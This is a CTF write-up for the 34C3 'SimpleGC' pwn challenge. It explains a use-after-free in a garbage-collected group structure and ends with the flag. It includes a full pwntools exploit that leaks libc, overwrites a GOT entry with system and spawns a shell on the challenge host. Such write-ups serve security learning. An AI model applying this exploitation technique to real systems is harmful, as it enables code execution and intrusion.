34C3 CTF Pwn SimpleGC Write-up

Introduction

This is the only challenge I solve in 34C3 CTF. There is a Use-After-Free vulnerability in the programme. The biggest trouble for me in this challenge is how to set the testing environment for libc-2.26 and learn something new about Thread Cache malloc.

Vulnerability Analysis

There are two data structures in this challenge:

struct User {
    short age;
    char *name;
    char *groupName;
}

struct Group {
     char *groupName;
     int refCount;
}

In this challenge, there is a garbage collection thread to free the group, whose reference count is 0. When deleting a user, it will decrease the reference count of group by one according to the groupName of user.
Another interesting function is that we can choose to change the groupName of a user while not updating the group info. Therefore, we can change the groupName of a user to the name of victim group. Delete the user and trigger the garbage collection procedure on the victim group. In the end, groupName of another user object will be come a dangling pointer, resulting in UAF.

Exploitation Plan

The exploitation plan of this challenge is straightforward. Exploit the UAF to make the dangling pointer point to a victim User object. Use the editing function to change the buffer pointer to leak the libc base address and function pointer of strlen at 0x602030.
The only problem encountered in this challenge is the TC (Thread Cache) chunks freed by garbage collection procedure. Those TCchunks will not be inserted into fastbin chunk. But that is not a big problem. Allocating multiple User objects will fetch the requested chunk.

Exploit

from pwn import *
import time

DEBUG = int(sys.argv[1]);

libc = ELF("./libc-2.26.so");

if(DEBUG == 0):
    r = remote("35.198.176.224", 1337);
elif(DEBUG == 1):
    r = process("./sgc");
elif(DEBUG == 2):
    r = process("./sgc");
    gdb.attach(r, '''source ./script''');

def addUser(name, group, age):
    r.recvuntil("Action:");
    r.sendline("0");
    r.recvuntil("name: ");
    r.sendline(name);
    r.recvuntil("group: ");
    r.sendline(group);
    r.recvuntil("age: ");
    r.sendline(str(age));

def viewUser(userIndex):
    r.recvuntil("Action:");
    r.sendline("2");
    r.recvuntil("index:");
    r.sendline(str(userIndex));

def editGroup(userIndex, option, newName):
    r.recvuntil("Action:");
    r.sendline("3");
    r.recvuntil("index: ");
    r.sendline(str(userIndex));
    r.recvuntil("(y/n):");
    r.sendline(option);
    r.recvuntil("name:");
    r.sendline(newName);

def deleteUser(userIndex):
    r.recvuntil("Action:");
    r.sendline("4");
    r.recvuntil("index: ");
    r.sendline(str(userIndex));

def exploit():
    addUser("A"*0x60, "group1", 20);
    addUser("B"*0x60, "group2", 20);
    addUser("C"*0x60, "group3", 20);
    addUser("D"*0x60, "group4", 20);
    addUser("E"*0x60, "group5", 20);
    addUser("F"*0x60, "group6", 20);
    addUser("G"*0x60, "group7", 20);
    editGroup(0, 'y', "group2");
    editGroup(2, 'y', "group4");
    editGroup(4, 'y', "group6");

    deleteUser(4);
    time.sleep(2);
    deleteUser(2);
    time.sleep(2);
    deleteUser(0);

    time.sleep(2);
    viewUser(1);

    r.recvuntil("Group: ");
    leaked = r.recv(4);
    if(leaked[3] == '\x0a'):
        leaked = leaked[:3]
    leakedValue = u64(leaked + "\x00"*(8 - len(leaked)));
    heap = leakedValue;
    log.info("leaked heap addr: 0x%x" % heap);

    for i in range(0, 0x10):
        addUser("A"*0x60, "group3", 20);


    editGroup(1, 'y', "A"*8 +  p64(0x602018) + p64(0x602018));
    viewUser(9);
    r.recvuntil("Group: ");
    leak = r.recv(6);
    leakedValue = u64(leak + "\x00\x00");
    log.info("leaked strlen address: 0x%x" % leakedValue);

    log.info("0x%x" % libc.symbols['free']);
    freeRelAddr = libc.symbols['free'];
    libcBase = leakedValue - freeRelAddr;
    log.info("libcBase: 0x%x" % libcBase);

    systemRelAddr = libc.symbols['system'];
    systemAbsAddr = libcBase + systemRelAddr;
    #systemAbsAddr = 0x414141414141;
    
 
    editGroup(1, 'y', "A"*8 +  p64(0x602030) + p64(0x602030));   
    editGroup(9, 'y', p64(systemAbsAddr));
    log.info("start to trigger");
    addUser("/bin/sh", "group", 20);
    r.interactive();


exploit();

#flag: 34C3_th4t_garb4ge_c0llect0r_w4s_garbage_heh

One thought on “34C3 CTF Pwn SimpleGC Write-up

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.